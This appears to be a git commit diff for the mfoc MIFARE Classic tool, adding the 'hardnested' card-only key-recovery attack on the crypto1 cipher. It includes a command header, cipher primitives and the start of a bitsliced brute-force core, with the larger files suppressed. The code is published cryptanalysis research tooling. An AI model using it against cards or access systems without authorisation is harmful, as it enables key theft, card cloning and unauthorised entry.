||||||
|
|
||||||
|
else
|
||||||
|
|
||||||
|
SIMDOBJ = hardnested/hardnested_bf_core_NOSIMD.o hardnested/hardnested_bitarray_core_NOSIMD.o
|
||||||
|
hardnested/%_NOSIMD.o : hardnested/%.c
|
||||||
|
$(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $<
|
||||||
|
|
||||||
|
endif
|
||||||
|
|||||||
6681
src/bf_bench_data.h
Normal file
6681
src/bf_bench_data.h
Normal file
File diff suppressed because it is too large
Load Diff
1771
src/cmdhfmfhard.c
Normal file
1771
src/cmdhfmfhard.c
Normal file
File diff suppressed because it is too large
Load Diff
60
src/cmdhfmfhard.h
Normal file
60
src/cmdhfmfhard.h
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2015 piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// hf mf hardnested command
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#ifndef CMDHFMFHARD_H__
|
||||||
|
#define CMDHFMFHARD_H__
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include "mfoc.h"
|
||||||
|
|
||||||
|
#define NUM_SUMS 19 // number of possible sum property values
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
EVEN_STATE = 0,
|
||||||
|
ODD_STATE = 1
|
||||||
|
} odd_even_t;
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
TO_BE_DONE,
|
||||||
|
WORK_IN_PROGRESS,
|
||||||
|
COMPLETED
|
||||||
|
} work_status_t;
|
||||||
|
|
||||||
|
typedef struct guess_sum_a8 {
|
||||||
|
float prob;
|
||||||
|
uint64_t num_states;
|
||||||
|
uint8_t sum_a8_idx;
|
||||||
|
} guess_sum_a8_t;
|
||||||
|
|
||||||
|
typedef struct noncelistentry {
|
||||||
|
uint32_t nonce_enc;
|
||||||
|
uint8_t par_enc;
|
||||||
|
void *next;
|
||||||
|
} noncelistentry_t;
|
||||||
|
|
||||||
|
typedef struct noncelist {
|
||||||
|
uint16_t num;
|
||||||
|
uint16_t Sum;
|
||||||
|
guess_sum_a8_t sum_a8_guess[NUM_SUMS];
|
||||||
|
bool sum_a8_guess_dirty;
|
||||||
|
float expected_num_brute_force;
|
||||||
|
uint8_t BitFlips[0x400];
|
||||||
|
uint32_t *states_bitarray[2];
|
||||||
|
uint32_t num_states_bitarray[2];
|
||||||
|
bool all_bitflips_dirty[2];
|
||||||
|
noncelistentry_t *first;
|
||||||
|
} noncelist_t;
|
||||||
|
|
||||||
|
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType);
|
||||||
|
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time, uint8_t trgKeyBlock, uint8_t trgKeyType, bool newline);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
5
src/config_w.h
Normal file
5
src/config_w.h
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
/* Define to 1 if you have the <stdint.h> header file. */
|
||||||
|
#define HAVE_STDINT_H 1
|
||||||
|
|
||||||
|
/* Define to the version of this package. */
|
||||||
|
#define PACKAGE_VERSION "0.10.9 hardnested (gelotus)"
|
||||||
1006
src/crapto1.c
1006
src/crapto1.c
File diff suppressed because it is too large
Load Diff
@ -15,8 +15,8 @@
|
|||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
||||||
MA 02110-1301, US$
|
MA 02110-1301, US$
|
||||||
|
|
||||||
Copyright (C) 2008-2009 bla <blapost@gmail.com>
|
Copyright (C) 2008-2014 bla <blapost@gmail.com>
|
||||||
*/
|
*/
|
||||||
#ifndef CRAPTO1_INCLUDED
|
#ifndef CRAPTO1_INCLUDED
|
||||||
#define CRAPTO1_INCLUDED
|
#define CRAPTO1_INCLUDED
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
@ -25,66 +25,45 @@
|
|||||||
extern "C" {
|
extern "C" {
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
struct Crypto1State {uint32_t odd, even;};
|
struct Crypto1State {
|
||||||
struct Crypto1State *crypto1_create(uint64_t);
|
uint32_t odd, even;
|
||||||
void crypto1_destroy(struct Crypto1State *);
|
};
|
||||||
void crypto1_get_lfsr(struct Crypto1State *, uint64_t *);
|
struct Crypto1State *crypto1_create(uint64_t key);
|
||||||
uint8_t crypto1_bit(struct Crypto1State *, uint8_t, int);
|
void crypto1_destroy(struct Crypto1State*);
|
||||||
uint8_t crypto1_byte(struct Crypto1State *, uint8_t, int);
|
void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
|
||||||
uint32_t crypto1_word(struct Crypto1State *, uint32_t, int);
|
uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
|
||||||
uint32_t prng_successor(uint32_t x, uint32_t n);
|
uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
|
||||||
|
uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
|
||||||
|
uint32_t prng_successor(uint32_t x, uint32_t n);
|
||||||
|
|
||||||
struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in);
|
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
|
||||||
struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3);
|
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
|
||||||
|
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
|
||||||
|
struct Crypto1State*
|
||||||
|
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint32_t no_par);
|
||||||
|
|
||||||
void lfsr_rollback(struct Crypto1State *s, uint32_t in, int fb);
|
|
||||||
uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb);
|
uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
|
||||||
int nonce_distance(uint32_t from, uint32_t to);
|
uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
|
||||||
bool validate_prng_nonce(uint32_t nonce);
|
uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
|
||||||
#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
|
int nonce_distance(uint32_t from, uint32_t to);
|
||||||
uint32_t __n = 0,__M = 0, N = 0;\
|
bool validate_prng_nonce(uint32_t nonce);
|
||||||
int __i;\
|
|
||||||
for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
|
|
||||||
for(__i = FSIZE - 1; __i >= 0; __i--)\
|
|
||||||
if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
|
|
||||||
break;\
|
|
||||||
else if(__i)\
|
|
||||||
__M = prng_successor(__M, (__i == 7) ? 48 : 8);\
|
|
||||||
else
|
|
||||||
|
|
||||||
#define LF_POLY_ODD (0x29CE5C)
|
#define LF_POLY_ODD (0x29CE5C)
|
||||||
#define LF_POLY_EVEN (0x870804)
|
#define LF_POLY_EVEN (0x870804)
|
||||||
#define BIT(x, n) ((x) >> (n) & 1)
|
#define BIT(x, n) ((x) >> (n) & 1)
|
||||||
#define BEBIT(x, n) BIT(x, (n) ^ 24)
|
#define BEBIT(x, n) BIT(x, (n) ^ 24)
|
||||||
static inline int parity(uint32_t x)
|
|
||||||
{
|
|
||||||
#if !defined __i386__ || !defined __GNUC__
|
|
||||||
x ^= x >> 16;
|
|
||||||
x ^= x >> 8;
|
|
||||||
x ^= x >> 4;
|
|
||||||
return BIT(0x6996, x & 0xf);
|
|
||||||
#else
|
|
||||||
__asm__("movl %1, %%eax\n"
|
|
||||||
"mov %%ax, %%cx\n"
|
|
||||||
"shrl $0x10, %%eax\n"
|
|
||||||
"xor %%ax, %%cx\n"
|
|
||||||
"xor %%ch, %%cl\n"
|
|
||||||
"setpo %%al\n"
|
|
||||||
"movzx %%al, %0\n": "=r"(x) : "r"(x): "eax", "ecx");
|
|
||||||
return x;
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
static inline int filter(uint32_t const x)
|
|
||||||
{
|
|
||||||
uint32_t f;
|
|
||||||
|
|
||||||
f = 0xf22c0 >> (x & 0xf) & 16;
|
static inline int filter(uint32_t const x) {
|
||||||
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8;
|
uint32_t f;
|
||||||
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
|
|
||||||
f |= 0x1e458 >> (x >> 12 & 0xf) & 2;
|
f = 0xf22c0 >> (x & 0xf) & 16;
|
||||||
f |= 0x0d938 >> (x >> 16 & 0xf) & 1;
|
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8;
|
||||||
return BIT(0xEC57E80A, f);
|
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
|
||||||
}
|
f |= 0x1e458 >> (x >> 12 & 0xf) & 2;
|
||||||
|
f |= 0x0d938 >> (x >> 16 & 0xf) & 1;
|
||||||
|
return BIT(0xEC57E80A, f);
|
||||||
|
}
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
125
src/crypto1.c
125
src/crypto1.c
@ -1,92 +1,93 @@
|
|||||||
/* crypto1.c
|
/* crypto1.c
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
This program is free software; you can redistribute it and/or
|
||||||
modify it under the terms of the GNU General Public License
|
modify it under the terms of the GNU General Public License
|
||||||
as published by the Free Software Foundation; either version 2
|
as published by the Free Software Foundation; either version 2
|
||||||
of the License, or (at your option) any later version.
|
of the License, or (at your option) any later version.
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
This program is distributed in the hope that it will be useful,
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
GNU General Public License for more details.
|
GNU General Public License for more details.
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
You should have received a copy of the GNU General Public License
|
||||||
along with this program; if not, write to the Free Software
|
along with this program; if not, write to the Free Software
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
||||||
MA 02110-1301, US
|
MA 02110-1301, US
|
||||||
|
|
||||||
Copyright (C) 2008-2008 bla <blapost@gmail.com>
|
Copyright (C) 2008-2008 bla <blapost@gmail.com>
|
||||||
*/
|
*/
|
||||||
#include "crapto1.h"
|
#include "crapto1.h"
|
||||||
|
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include "parity.h"
|
||||||
|
|
||||||
#define SWAPENDIAN(x)\
|
#define SWAPENDIAN(x)\
|
||||||
(x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
|
(x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
|
||||||
|
|
||||||
struct Crypto1State *crypto1_create(uint64_t key) {
|
struct Crypto1State * crypto1_create(uint64_t key) {
|
||||||
struct Crypto1State *s = malloc(sizeof(*s));
|
struct Crypto1State *s = malloc(sizeof (*s));
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 47; s && i > 0; i -= 2) {
|
for (i = 47; s && i > 0; i -= 2) {
|
||||||
s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7);
|
s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7);
|
||||||
s->even = s->even << 1 | BIT(key, i ^ 7);
|
s->even = s->even << 1 | BIT(key, i ^ 7);
|
||||||
}
|
}
|
||||||
return s;
|
return s;
|
||||||
}
|
}
|
||||||
void crypto1_destroy(struct Crypto1State *state)
|
|
||||||
{
|
void crypto1_destroy(struct Crypto1State *state) {
|
||||||
free(state);
|
free(state);
|
||||||
}
|
}
|
||||||
void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
|
|
||||||
{
|
void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) {
|
||||||
int i;
|
int i;
|
||||||
for (*lfsr = 0, i = 23; i >= 0; --i) {
|
for (*lfsr = 0, i = 23; i >= 0; --i) {
|
||||||
*lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
|
*lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
|
||||||
*lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
|
*lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
|
|
||||||
{
|
|
||||||
uint32_t feedin;
|
|
||||||
uint8_t ret = filter(s->odd);
|
|
||||||
|
|
||||||
feedin = ret & !!is_encrypted;
|
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) {
|
||||||
feedin ^= !!in;
|
uint32_t feedin, t;
|
||||||
feedin ^= LF_POLY_ODD & s->odd;
|
uint8_t ret = filter(s->odd);
|
||||||
feedin ^= LF_POLY_EVEN & s->even;
|
|
||||||
s->even = s->even << 1 | parity(feedin);
|
|
||||||
|
|
||||||
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
|
feedin = ret & !!is_encrypted;
|
||||||
|
feedin ^= !!in;
|
||||||
|
feedin ^= LF_POLY_ODD & s->odd;
|
||||||
|
feedin ^= LF_POLY_EVEN & s->even;
|
||||||
|
s->even = s->even << 1 | evenparity32(feedin);
|
||||||
|
|
||||||
return ret;
|
t = s->odd, s->odd = s->even, s->even = t;
|
||||||
|
|
||||||
|
return ret;
|
||||||
}
|
}
|
||||||
uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
|
|
||||||
{
|
|
||||||
uint8_t i, ret = 0;
|
|
||||||
|
|
||||||
for (i = 0; i < 8; ++i)
|
uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) {
|
||||||
ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
|
uint8_t i, ret = 0;
|
||||||
|
|
||||||
return ret;
|
for (i = 0; i < 8; ++i)
|
||||||
|
ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
|
||||||
|
|
||||||
|
return ret;
|
||||||
}
|
}
|
||||||
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
|
|
||||||
{
|
|
||||||
uint32_t i, ret = 0;
|
|
||||||
|
|
||||||
for (i = 0; i < 32; ++i)
|
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) {
|
||||||
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
|
uint32_t i, ret = 0;
|
||||||
|
|
||||||
return ret;
|
for (i = 0; i < 32; ++i)
|
||||||
|
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
|
||||||
|
|
||||||
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* prng_successor
|
/* prng_successor
|
||||||
* helper used to obscure the keystream during authentication
|
* helper used to obscure the keystream during authentication
|
||||||
*/
|
*/
|
||||||
uint32_t prng_successor(uint32_t x, uint32_t n)
|
uint32_t prng_successor(uint32_t x, uint32_t n) {
|
||||||
{
|
SWAPENDIAN(x);
|
||||||
SWAPENDIAN(x);
|
while (n--)
|
||||||
while (n--)
|
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
|
||||||
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
|
|
||||||
|
|
||||||
return SWAPENDIAN(x);
|
return SWAPENDIAN(x);
|
||||||
}
|
}
|
||||||
|
|||||||
106
src/getopt.c
Normal file
106
src/getopt.c
Normal file
@ -0,0 +1,106 @@
|
|||||||
|
#include "getopt.h" // make sure you construct the header file as dictated above
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1987, 1993, 1994
|
||||||
|
* The Regents of the University of California. All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* 3. All advertising materials mentioning features or use of this software
|
||||||
|
* must display the following acknowledgement:
|
||||||
|
* This product includes software developed by the University of
|
||||||
|
* California, Berkeley and its contributors.
|
||||||
|
* 4. Neither the name of the University nor the names of its contributors
|
||||||
|
* may be used to endorse or promote products derived from this software
|
||||||
|
* without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int opterr = 1, /* if error message should be printed */
|
||||||
|
optind = 1, /* index into parent argv vector */
|
||||||
|
optopt, /* character checked for validity */
|
||||||
|
optreset; /* reset getopt */
|
||||||
|
char* optarg; /* argument associated with option */
|
||||||
|
|
||||||
|
#define BADCH (int)'?'
|
||||||
|
#define BADARG (int)':'
|
||||||
|
#define EMSG ""
|
||||||
|
|
||||||
|
/*
|
||||||
|
* getopt --
|
||||||
|
* Parse argc/argv argument vector.
|
||||||
|
*/
|
||||||
|
int getopt(int nargc, char* const nargv[], const char* ostr)
|
||||||
|
{
|
||||||
|
static char* place = EMSG; /* option letter processing */
|
||||||
|
const char* oli; /* option letter list index */
|
||||||
|
|
||||||
|
if (optreset || !*place) { /* update scanning pointer */
|
||||||
|
optreset = 0;
|
||||||
|
if (optind >= nargc || *(place = nargv[optind]) != '-') {
|
||||||
|
place = EMSG;
|
||||||
|
return (-1);
|
||||||
|
}
|
||||||
|
if (place[1] && *++place == '-') { /* found "--" */
|
||||||
|
++optind;
|
||||||
|
place = EMSG;
|
||||||
|
return (-1);
|
||||||
|
}
|
||||||
|
} /* option letter okay? */
|
||||||
|
if ((optopt = (int)*place++) == (int)':' ||
|
||||||
|
!(oli = strchr(ostr, optopt))) {
|
||||||
|
/*
|
||||||
|
* if the user didn't specify '-' as an option,
|
||||||
|
* assume it means -1.
|
||||||
|
*/
|
||||||
|
if (optopt == (int)'-')
|
||||||
|
return (-1);
|
||||||
|
if (!*place)
|
||||||
|
++optind;
|
||||||
|
if (opterr && *ostr != ':')
|
||||||
|
(void)printf("illegal option -- %c\n", optopt);
|
||||||
|
return (BADCH);
|
||||||
|
}
|
||||||
|
if (*++oli != ':') { /* don't need argument */
|
||||||
|
optarg = NULL;
|
||||||
|
if (!*place)
|
||||||
|
++optind;
|
||||||
|
}
|
||||||
|
else { /* need an argument */
|
||||||
|
if (*place) /* no white space */
|
||||||
|
optarg = place;
|
||||||
|
else if (nargc <= ++optind) { /* no arg */
|
||||||
|
place = EMSG;
|
||||||
|
if (*ostr == ':')
|
||||||
|
return (BADARG);
|
||||||
|
if (opterr)
|
||||||
|
(void)printf("option requires an argument -- %c\n", optopt);
|
||||||
|
return (BADCH);
|
||||||
|
}
|
||||||
|
else /* white space */
|
||||||
|
optarg = nargv[optind];
|
||||||
|
place = EMSG;
|
||||||
|
++optind;
|
||||||
|
}
|
||||||
|
return (optopt); /* dump back option letter */
|
||||||
|
}
|
||||||
13
src/getopt.h
Normal file
13
src/getopt.h
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
#ifndef GETOPT_H
|
||||||
|
|
||||||
|
#define GETOPT_H
|
||||||
|
|
||||||
|
extern int opterr; /* if error message should be printed */
|
||||||
|
extern int optind; /* index into parent argv vector */
|
||||||
|
extern int optopt; /* character checked for validity */
|
||||||
|
extern int optreset; /* reset getopt */
|
||||||
|
extern char* optarg; /* argument associated with option */
|
||||||
|
|
||||||
|
int getopt(int nargc, char* const nargv[], const char* ostr);
|
||||||
|
|
||||||
|
#endif
|
||||||
405
src/hardnested/hardnested_bf_core_AVX.c
Normal file
405
src/hardnested/hardnested_bf_core_AVX.c
Normal file
@ -0,0 +1,405 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// brute forcing is based on @aczids bitsliced brute forcer
|
||||||
|
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
|
||||||
|
// - don't rollback. Start with 2nd byte of nonce instead
|
||||||
|
// - reuse results of filter subfunctions
|
||||||
|
// - reuse results of previous nonces if some first bits are identical
|
||||||
|
//
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// aczid's Copyright notice:
|
||||||
|
//
|
||||||
|
// Bit-sliced Crypto-1 brute-forcing implementation
|
||||||
|
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
|
||||||
|
/*
|
||||||
|
Copyright (c) 2015-2016 Aram Verstegen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hardnested_bruteforce.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
#include "../crapto1.h"
|
||||||
|
#include "../parity.h"
|
||||||
|
|
||||||
|
#define MAX_BITSLICES 128
|
||||||
|
|
||||||
|
#define VECTOR_SIZE (MAX_BITSLICES/8)
|
||||||
|
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
|
||||||
|
|
||||||
|
typedef union {
|
||||||
|
bitslice_value_t value;
|
||||||
|
uint64_t bytes64[MAX_BITSLICES / 64];
|
||||||
|
uint8_t bytes[MAX_BITSLICES / 8];
|
||||||
|
} bitslice_t;
|
||||||
|
|
||||||
|
// filter function (f20)
|
||||||
|
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
|
||||||
|
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
|
||||||
|
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
|
||||||
|
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
|
||||||
|
|
||||||
|
// bit indexing
|
||||||
|
#define get_bit(n, word) (((word) >> (n)) & 1)
|
||||||
|
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
|
||||||
|
|
||||||
|
// size of crypto-1 state
|
||||||
|
#define STATE_SIZE 48
|
||||||
|
// size of nonce to be decrypted
|
||||||
|
#define KEYSTREAM_SIZE 24
|
||||||
|
|
||||||
|
// endianness conversion
|
||||||
|
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
|
||||||
|
|
||||||
|
#if defined (_WIN32)
|
||||||
|
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
|
||||||
|
#define free_bitslice(x) _aligned_free(x)
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
|
||||||
|
static void *malloc_bitslice(size_t x) {
|
||||||
|
char *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#else
|
||||||
|
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// arrays of bitsliced states with identical values in all slices
|
||||||
|
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
|
||||||
|
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
|
||||||
|
// 1 and 0 vectors
|
||||||
|
static bitslice_t bs_ones;
|
||||||
|
static bitslice_t bs_zeroes;
|
||||||
|
|
||||||
|
void bitslice_test_nonces_AVX(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
|
||||||
|
|
||||||
|
// initialize 1 and 0 vectors
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice nonces' 2nd to 4th byte
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
|
||||||
|
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// bitslice nonces' parity (4 bits)
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
|
||||||
|
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
